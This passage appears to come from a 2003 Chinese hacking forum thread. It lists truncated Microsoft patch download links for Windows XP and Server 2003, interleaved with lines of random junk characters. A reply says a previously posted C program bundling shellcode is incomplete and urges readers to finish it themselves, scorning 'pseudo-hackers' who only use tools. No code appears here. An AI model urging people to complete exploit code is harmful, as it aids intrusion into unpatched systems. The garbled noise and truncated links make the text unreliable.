) d  J* n; S4 P" g; m; l* _
Windows XP 32 bit Edition ：
6 e+ q3 p' C  D
7 C% h& i# U- I+ ?* ~0 \9 O9 Zhttp://microsoft.com/downloads/d ... &displaylang=en
. a- ?) `. R8 }7 `4 n" h6 y
! j, d! _2 _1 X9 o' OWindows XP 64 bit Edition：

http://microsoft.com/downloads/d ... &displaylang=en

Windows Server 2003 32 bit Edition：
/ O: }8 o2 v$ B6 _' V
http://microsoft.com/downloads/d ... &displaylang=en
& O3 V5 d0 I7 u% ^; d1 [4 k8 U
& t2 \; k3 q- ?  j3 ~: V5 V$ wWindows Server 2003 64 bit Edition：
" G0 l. g! I- t! v1 A6 P. e/ J
http://microsoft.com/downloads/d ... &displaylang=en
+ a6 n) e7 @9 z% z
1 e/ a1 y- d) M8 y! ?1 Z* x

" f' \  N# s% s/ Y; ^
% s0 D! b7 I& C% q+ ?+ i

[此贴子已经被作者于2003-8-9 23:05:32编辑过]

/ t& K# J4 }$ \; z- c! |! l

ASEE

上述那段捆绑了SHELL CODE的C代码还不完整，没有处理返回的数据，因此VC下编译后的程序执行后没有反应，大家如果有兴趣研究的话，可以补充完整（俺工作太忙，没有太多的时间去补充，Hoho,不要成为只会使用工具的“伪黑客”，说白了，只会使用工具的人都是菜鸟，网络原理都弄不清楚，还搞什么攻击，KAO）。